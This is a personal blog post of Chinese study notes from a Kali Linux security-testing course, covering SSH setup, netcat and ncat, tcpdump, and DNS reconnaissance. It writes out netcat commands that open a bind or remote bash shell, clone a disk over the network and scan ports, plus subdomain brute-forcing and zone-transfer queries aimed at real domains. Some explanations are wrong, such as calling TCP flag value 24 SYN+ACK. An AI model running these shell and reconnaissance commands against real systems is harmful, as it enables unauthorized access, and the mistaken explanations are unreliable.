kali linux

苑房宏Kali笔记

Posted on 2024-04-30,12 min read
封面图

  虽然之前做过一些web安全测试相关的工作,但大都是像Nessus之类的安全扫描工具的使用,在手工发掘漏洞这块能力比较欠缺,另外像wireshark、burpsuite等工具仅仅学习了最基础的抓包和代理的用法,对于burpsuite的一些第三方插件也接触比较少,于是想要系统的学习一下网络安全测试这块,在52pj上找到了苑房宏的《Kali Linux安全测试》177讲,不过教程是2015年的了,课程中讲到的一些工具有的已经停止维护,有的版本更新之后使用命令发生了改变,所以在这篇笔记中记录一下,方便自己后续的使用。

kali基础配置

开启SSH登录

  1. 编辑ssh文件,取消PermitRootLoginPasswordAuthentication的注释,并改为yes
  2. 重启SSH服务,/etc/init.d/ssh restart 或者service ssh restart重启,/etc/init.d/ssh status或者service ssh status查看状态是否正常运行
  3. 开启ssh服务开机自启动,查看开启状态,update-rc.d ssh enable或者systemctl enable ssh开机自启动
    vi /etc/ssh/sshd_config #vi模式下输入'/关键词'回车进行搜索,按n查找下一个
    service ssh restart
    update-rc.d ssh enable 
    

kali工具

nc&ncat

  1. 传输文本信息
    主机A:nc -l -p 4444 开启一个监听服务,端口4444
    主机B:nc –nv 1.1.1.1 4444 连接主机A的4444端口

  2. 传输⽂件
    A:nc -lp 333 > 1.mp4
    B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1 -q:传输完成1s后断开连接
    或者
    A:nc -q 1 -lp 333 < a.mp4
    B: nc -nv 1.1.1.1 333 > 2.mp4
    nc工具本身不支持加密连接,如果需要加密传输,可以先把要传输的内容通过mcrypt加密再明文传输
    A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

    • mcrypt: 调用mcrypt加密工具
    • flush: 清除加密工具的内部状态
    • Fbqd: 设置特定的选项,包括使用文件输入和输出、启用调试模式以及启用详细输出
    • a rijndael-256: 使用Rijndael-256算法进行加密
    • m ecb: 使用ECB模式进行加密,ECB是一种基本的加密模式,不适合处理大量数据
  3. 流媒体服务
    A: cat 1.mp4 | nc -lp 333 将mp4文件cat出来通过管道传入nc
    B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -主机B需要使用支持命令模式的播放器比如mplayer

    • mplayer: 调用MPlayer媒体播放器
    • vo x11: 指定视频输出设备为X11(X Window System),即在X窗口系统中播放视频
    • cache 3000: 设置缓存大小为3000 KB,这可以帮助减少视频播放时的卡顿和延迟
    • -: 表示要播放的视频文件是通过标准输入传输的,而不是通过文件名指定的
  4. 端口扫描
    nc -nvz 1.1.1.1 1-65535

    • -nvz: 设置netcat为静默模式(不显示任何输出)、启用数字格式(显示IP地址和端口号)、以及使用zero I/O模式(仅扫描端口,不发送任何数据)

    nc –vnzu 1.1.1.1 1-1024

    • -u: 使用UDP协议
  5. 远程克隆硬盘
    A: nc -lp 333 | dd of=/dev/sda
    B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

    • dd: 是一个用于数据转换和复制的命令行工具
    • if=/dev/sda: 指定输入文件(input file)为/dev/sda,即源磁盘/dev/sda
    • of=/dev/sdb: 指定输出文件(output file)为/dev/sdb,即目标磁盘/dev/sdb
    • 将B主机的/dev/sda克隆出来通过nc传到A主机的/dev/sda
  6. 远程控制
    A:nc -lp 333 -c bash -c bash: 指定nc接受连接后要执行的命令,这里是执行bash命令(即启动一个bash shell)
    B:nc 1.1.1.1 333
    或者
    A:nc -lp 333
    B:nc 1.1.1.1 333 -c bash 指定连接后要执行的命令,即bash shell

  7. ncat
    A:ncat -c bash --allow 192.168.123.100 -vnl 333 --ssl

    • -c bash: 在连接建立后,执行 bash 命令(即启动一个交互式的 Bash Shell)。
    • --allow 192.168.123.100: 限制连接的来源 IP 地址为 192.168.123.100。只有来自该 IP 地址的连接才会被接受。
    • -vnl 333: 监听本地端口 333,等待连接。
    • --ssl: 使用 SSL/TLS 加密来保护连接。

    B:ncat -nv 192.168.123.157 333 --ssl

    • -nv: 使用详细输出模式,显示更多连接信息。
    • 192.168.123.157: 要连接的目标 IP 地址。
    • 333: 目标主机上要连接的端口。
    • --ssl: 使用 SSL/TLS 加密来保护连接。

wireshark&tcpdump

wireshark的示例cap包


三次握手:

  • 客户端发送一个SYN数据包给服务器,表示请求建立连接。
  • 服务器收到SYN数据包后,回复一个SYN+ACK数据包给客户端,表示同意建立连接。
  • 客户端再发送一个ACK数据包给服务器,表示连接建立成功。
  • 这样就完成了TCP的三次握手过程,连接建立成功。

四次挥手,用于终止连接。

  • 客户端发送一个FIN数据包给服务器,表示要关闭连接。
  • 服务器收到FIN数据包后,回复一个ACK数据包给客户端,表示收到关闭请求。
  • 服务器再发送一个FIN数据包给客户端,表示自己也要关闭连接。
  • 客户端收到FIN数据包后,回复一个ACK数据包给服务器,表示同意关闭连接。

    tcpdump -A -n 'tcp[13] = 24' -r http.cap 使用tcpdump读取数据包
  • -A: 这个选项告诉tcpdump以ASCII格式显示数据包的内容,而不是以十六进制格式显示。
  • -n: 这个选项告诉tcpdump不要将网络地址和端口转换为主机名和服务名,而是以数字形式显示。
  • 'tcp[13] = 24': 这部分是过滤器,用于指定要捕获的数据包的条件。在这里,tcp[13] = 24表示过滤出TCP标志字段的第13个字节(即第一个字节为0)的值为24的数据包。在TCP标志字段中,24表示SYN和ACK标志同时被设置,这通常代表一个TCP连接的建立阶段。

在TCP标志字段中,第13个字节(从0开始计数)通常用来表示TCP头部中的标志位。TCP头部的标志位共有6个,它们分别是:

  • URG(紧急指针):用来指示紧急数据。
  • ACK(确认):用来确认收到的数据。
  • PSH(推送):用来指示接收方尽快将数据交给应用层。
  • RST(复位):用来强制关闭连接。
  • SYN(同步):用来建立连接。
  • FIN(结束):用来释放连接。

这些标志位被存储在TCP头部的第13个字节中,每个标志位占1个比特位。通过设置或清除这些标志位,TCP控制连接的建立、终止和数据传输过程。

CWR(Congestion Window Reduced)和ECE(Explicit Congestion Notification Echo)是TCP头部中的两个额外的标志位,用于传输控制和拥塞控制。

  • CWR(Congestion Window Reduced):CWR标志位用于指示发送方已经收到了一个带有拥塞通知(Congestion Notification)的数据包,并已经减小了发送窗口(Congestion Window)。这个标志位通常在TCP连接中用于拥塞控制。
  • ECE(Explicit Congestion Notification Echo):ECE标志位用于指示接收方收到了来自网络的拥塞通知。当路由器或网络设备检测到网络拥塞时,会向数据包中添加拥塞通知,接收方收到带有ECE标志位的数据包后,会通知发送方网络出现了拥塞。这有助于发送方调整发送速率以减轻网络拥塞。

这两个标志位通常在TCP连接中用于拥塞控制和网络拥塞的处理,帮助TCP协议更有效地适应网络状况并提高网络性能。

DNS信息收集

nslookup,dig和host都是用于进行DNS查询的命令行工具,用于查找域名对应的IP地址或反向查找IP地址对应的域名
nslookup www.sina.com
查询域名www.sina.com对应的IP地址和其他相关信息。
nslookup -type=ns example.com 156.154.70.22
指定的域名服务器(156.154.70.22)查询域名example.com的NS记录(Name Server记录)。
dig @8.8.8.8 www.sina.com mx
指定要查询的DNS服务器(8.8.8.8),查询域名www.sina.com的MX记录(Mail Exchange记录)。
dig www.sina.com any
查询域名www.sina.com的所有记录类型(包括A、MX、NS等)。
dig +noall +answer -x 8.8.8.8
进行反向查询,通过IP地址(8.8.8.8)查找对应的域名。
dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com
查询指定DNS服务器(ns3.dnsv4.com)的BIND版本信息。(通常会被拒绝)
dig +trace example.com
执行DNS追踪,显示从根域名服务器到最终目标域名的DNS查询路径。
dig @ns1.example.com example.com axfr
在指定的域名服务器(ns1.example.com)上执行区域传送(AXFR),获取域名example.com的完整DNS记录。(通常会被拒绝)
host -T -l sina.com 8.8.8.8
在指定的DNS服务器(8.8.8.8)上执行枚举(枚举所有记录)查询,列出sina.com域名的所有记录。

DNS字典爆破

由于通过区域传送(AXFR)获取域名下的完整DNS记录通常会被拒绝,攻击者会使用DNS字典爆破来探测目标域名下的子域名。通过使用一个包含大量可能的子域名列表的字典文件,尝试枚举目标域名的所有可能子域名,以便发现隐藏在其后的资源或服务。常用工具,如"fierce"、"sublist3r"等,指定一个字典文件(包含可能的子域名列表)并指定目标域名,然后工具将自动尝试查询每个子域名的DNS记录,以确定哪些子域名是有效的。
fierce等工具安装后都会自带一些字典文件,使用dpkg -L fierce 来列出相关文件查找字典文件的路径

fierce --dns-servers 223.5.5.5 --domain sina.com.cn --subdomain-file /usr/lib/python3/dist-packages/fierce/lists/5000.txt

  • --dns-servers 223.5.5.5: 这个参数指定了要使用的DNS服务器的IP地址,这里是223.5.5.5。
  • --domain sina.com.cn: 这个参数指定了目标域名,即要进行字典爆破的域名是sina.com.cn。
  • --subdomain-file /usr/lib/python3/dist-packages/fierce/lists/5000.txt: 这个参数指定了包含要用于字典爆破的子域名列表的文件路径,这里是/usr/lib/python3/dist-packages/fierce/lists/5000.txt。

atk6-dnsdict6 -d4 -t 16 -x sina.com atk6-dnsdict6速度更快

  • -d4 表示使用 IPv4 进行查询
  • -t 16 表示设置 DNS 查询的超时时间为 16 毫秒
  • -x 则表示使用递归查询。

其他类似工具
dnsenum
dnsmap
dnsrecon


下一篇: Metasploitable2靶场部署→

loading...